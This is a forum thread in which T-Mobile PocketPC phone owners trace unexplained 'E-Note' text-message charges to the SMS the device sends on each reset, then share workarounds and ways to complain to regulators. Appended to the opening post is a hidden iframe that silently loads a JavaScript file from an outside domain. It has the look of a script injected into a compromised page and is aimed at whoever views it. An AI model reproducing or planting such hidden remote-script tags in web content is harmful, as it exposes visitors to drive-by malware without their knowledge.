When I go into my T-Mobile website and look up "unbilled usage - text messaging charges", there are MANY "E-Notes" listed, however, I have DONE NOTHING that I can think of that would generate them. I have not generated them from sending/replying to emails, or receiving/sending SMS messages. How else could they be getting generated? - so far T-Mobile tech support has been unable to explain it to me.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Hey Mike,
Have you gotten any farther with these mysterious E-notes? I only started looking at my statements recently and I too find that I am being charged for sending a bunch of E-notes that I know I am not voluntarily sending. I have been contacting T-mobile about them but they just dance around the issue. No clear explanation has been provided by their customer service. The bills also shows that some of the E-notes are send in the wee hours of the morning (2:00am to 4:00am). I wonder how many T-mobile customers are being billed for sending E-notes that they do not even know how to use.
Please post back if you have made progress with T-mobile.
Pat

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PDAPhone Apprentice

One thing you should be aware of is that every time you reboot your PPCPE it sends an SMS to T-Mobile (shows up as E-Notes to 0500). Maybe they do something with this info, maybe it's a remnant of some debugging software - I don't know. It shows up on my bill as well but I've never actually been charged for any of them.

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Pete Henry
T-Mobile PocketPC Phone Edition

Henry,
Thanks for the info. That could very well explain these E-note occurrences, because I do reset my PPCPE quite often. Sometimes I do it just to clear the memory of background running programs. The fact that some of the E-notes appear to be happening in the early morning hours is probably because they are logging them on Pacific Time while I am on Eastern Time.
However, in my case they are actually charging me 5c/s each time they register an E-note sent to 500. You are probably not seeing the charge because you subscribe to data services.
Anyway, I did reset my pocketpc phone several times today. So I will be watching my activity logs on T-mobile's website. What bothers me is that the people at T-mobile Customer Service seem to be totally unaware of this problem.
Your reply was very helpful.
Pat

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PDAPhone Apprentice

FINALLY...an answer that makes sense! That "could" definitely explain why I'm getting all these E-NOTES as well. I'll have to some testing to see. AMAZING that ALL the people I talked to at T-Mobile never mentioned this. Although I get 100's of FREE messages per month (I'm on the data plan) - they still should not charge for these!

Well at last, a T-mobile Customer Support Staff has been willing to confirm that a log is effectively created every time the PPCPE is reset. And yes, T-mobile charges 5c for each such event because it appears as an E-note to 500 which is the equivalent of a Text Message sent. As of now there is nothing that they can do to correct the situation. But at least they are aware of it.

Have a Great Day to all you helpful folks.
Pat

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PDAPhone Apprentice

Very interesting...they sell you a device that hangs every few days and requires a soft reset to fix it...and then they charge you every time you have to do it...now there's a REAL customer satisfaction oriented company!

i was having the same problem with the unlimited data plan. after calling 3 months in a row to get the charges removed i finally had them disable my sms service. if you ever do need to send a text message (i haven't) you can use the t-mobile web page or #@tomomail.com.

Ahh, I figured it out. I have a $29.99 "Talk & Text" plan that includes 500 text messages along with 300 minutes. Since I never come anywhere near the text message quota I don't get charged for the E-notes when I reset the phone.

I did note that it wasn't possible to combine this plan and the PPCPE on the T-Mobile site - it was something I did when I bought the phone from Amazon.com. The plan was available with other phones.

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Pete Henry
T-Mobile PocketPC Phone Edition

You can stop your PDAPhone from sending SMS by messing up the SMS mailbox number. It does not stop you from receiving SMS messages though.
You go to Phone Settings > Services > Voice mail and SMS > Get Settings
Then change the SMS mailbox number to something like 123
Note down the correct number first though (mine is +1 (206) 313-0004
If you need to send an SMS you can just enter the correct number before doing so.
That way you only get charged for actually sending an SMS and not for resetting your device.

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PDAPhone Apprentice

Thanks for the great suggestion. Excellent workaround.

Here's an even better idea -- this is what I do -- if I ever go over the limit of TEXT MESSAGES (which I hardly ever do since I get 500 per month) -- I just call up T-Mobile Support, tell them they can SUBTRACT all the TEXT MESSAGES generated by resetting the PDA and credit my account for the charges.

If enough of us do this -- maybe they'll FIX THE BILLING PROBLEM in the first place!!

I can no longer get T-Mobile to let me know
how many GPRS bits or bytes I've used for
my 1 month billing cycle. I'm signed up for
the old 2Megabytes/month. For Dec. 25,
GPRS monitor says, I've gone over 2MBs.
I call T-Mobile, and they tell me I've done
about 0.0674 Megabytes. No charge for
that month. Nov., GPRS monitor says I've
gone over 2MB. I called T-Mobile, and they
said, I'm way under. I say fine, but if it
over, will you give me a refund? I got
charged twice for going over, but was
given a refund both times. I call 3/4 of the
way into the month, and told I've used no
internet/Megabytes, when I knew better.
One bill might reflect and charge for what
I think is my usage, then another might
say I've only done 1/10 of that.
When I first got the unit, I could call
T-Mobile, about 20 days into the billing
cycle, and be told, 'you're at about .9 MBs'
So I'd use more or less by this.
Yea, 2MBs seems minute, via most web
pages. But, if one sticks to text based
PDA sites, it lasts for quite some time.
I'm suppose to have 300 SMS texts per
month. Which I'll now be counting ...

Thanks

Isn't 2MB/month costing you around $10? It's a lot less hassle to just bump it up to $20/month and stop worrying about your qutoa. You'll get so much more for that $10 increment.

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Pete Henry
T-Mobile PocketPC Phone Edition

T-Mobile is making a killing, two or three dollars at a time. Please complain to the BBB, they have a special system set up for cell phone users, here's the correct place for T-Mobile:

BBB of Oregon & Western Washington (DuPont, WA)
1000 Station Drive, Ste. 222
DuPont , WA 98327
Phone: 2064312222
Fax: 2064312211
Email: info@thebbb.org
Web: http://www.thebbb.org

The more of us who complain, the more seriously they'll take this problem. It's just like the land-line companies charging $10 for a directory assistance call.

FYI - I don't have a PC style phone, just a Nokia camera phone and these charges appear - I also called T-Mobile. They told me that instant messages can ONLY be sent from the phone (which of course is completely untrue because you can send them from their internet site) and so we can't even dispute the charges. $36 dollars a year for messages we didn't send!

I contacted the FCC complaint divison and now TMobile credits these every month. I had no idea, until reading this thread today, that anyone else was having this problem. Of course, TMobile played dumb about it over and over, but when the FCC got involved, they changed their tune.